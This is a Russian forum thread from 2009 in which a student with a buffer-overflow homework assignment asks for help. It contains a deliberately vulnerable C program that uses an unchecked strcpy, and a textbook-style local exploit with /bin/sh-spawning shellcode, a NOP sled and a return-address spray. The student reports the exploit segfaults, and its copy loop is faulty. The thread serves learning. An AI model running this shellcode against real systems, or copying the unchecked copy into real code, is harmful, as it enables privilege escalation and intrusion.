![]() |
eXeL@B —› Вопросы новичков —› Buffer Overflow |
Посл.ответ | Сообщение |
|
Создано: 09 января 2009 18:05 · Поправил: Winte · Личное сообщение · #1 собственно дали мне задание - написать программу и взломать её: т.е. сделать что-то не предусмотренное программой(писал её сам, под unix): #include <unistd.h> #include <stdlib.h> #include <stdio.h> void main () { FILE* myNote; char buf[10]; int i, ch; myNote = fopen("/home/kazakov/MuNote","r"); while ((ch=fgetc(myNote)) !=EOF) printf("%c",ch); fclose(myNote); } собственно тут возникает загвоздка - как заставить её делать что-то Моё? я понимаю, что нужно разместить в стеке адрес программы которая будет, допустим стирать полностью файл muNote. А затем "затереть" адрес возврата основной программы, используя уязвимость ф-и fgetc(), таким образом, чтобы на его месте оказалась адрес входа в Мою программу. Но как это реализовать мне не ясно. Помогите мне кто чем может. з.ы для знакомства с основами хака использовал две нижеприведённые статьи - преподаватель сказал, что этого достаточно [url=http://www.opennet.ru/base/sec/p49-14.txt.html ]http://www.opennet.ru/base/sec/p49-14.txt.html [/url] http://www.opennet.ru/base/sec/remote_exploit.txt.html http://www.opennet.ru/base/sec/remote_exploit.txt.html [ASM][ASM][img] [ASM][/ASM][/img][/ASM][/ASM] ![]() |
|
Создано: 09 января 2009 20:43 · Личное сообщение · #2 |
|
Создано: 09 января 2009 20:57 · Поправил: Veliant · Личное сообщение · #3 Вот побырому накидал пример... Пример забивает в стек данные из файла, переполняет лимит в 10 байт, вместо адреса возврата ставит адрес на стек, ну и дальше уже мини шелл выполняющий ExitProcess Ставь бряк на 0040106E и увидишь как вылетает) ![]() ![]() |
|
Создано: 09 января 2009 22:58 · Личное сообщение · #4 Я бы посоветовал поискать статьи по переполнению буфера, во многих используется для примера как раз самописная прога буквально с парой функций, написано всё доступно. Нагуглить несложно. Обычно используется локальная переменная типа массив чаров фиксированной длины и туда копируется через strcpy строка, введённая юзером безо всяких проверок. Если строка длиннее буфера-перезаписывать лишнее пойдёт. ![]() |
|
Создано: 15 января 2009 18:27 · Поправил: Winte · Личное сообщение · #5 |
|
Создано: 15 января 2009 22:49 · Личное сообщение · #6 exploit.c #include <unistd.h> #include <stdlib.h> #include <stdio.h> char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; unsigned long sp(void) { __asm__("movl %esp,%eax");} int main (int argc, char *argv[]) { int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = sp(); ret = esp - offset; printf("stack pointer(esp): 0x%x\n", esp); printf("offset: 0x%x\n", offset); printf("return adress: 0x%x\n", ret); buffer = malloc(600); ptr = buffer; addr_ptr = (long*) ptr; for(i=0; i<600; i+=4) { *(addr_ptr++) = ret; } for(i=0; i<200; i++) { buffer[i] = '\x90'; } ptr = buffer+200; for(i=200; strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } buffer[600-1] = 0; execl("./my", "my", buffer, "0"); free(buffer); //myFunc(); return 0; } ______________________________________________________________________ ___ my.c #include <unistd.h> #include <stdlib.h> #include <stdio.h> int main (int argc, char *argv[]) { char buf[500]; strcpy(buf,argv[1]); //printf("file be read:%s", buf); return 0; } это пример из книги эриксона. что-то не удалось мне подменить адрес возврата - постоянно вылетаю на segmentation fault ![]() |
|
Создано: 16 января 2009 13:47 · Личное сообщение · #7 |
|
Создано: 16 января 2009 16:13 · Личное сообщение · #8 |
|
Создано: 12 февраля 2009 10:53 · Личное сообщение · #9 |
![]() |
eXeL@B —› Вопросы новичков —› Buffer Overflow |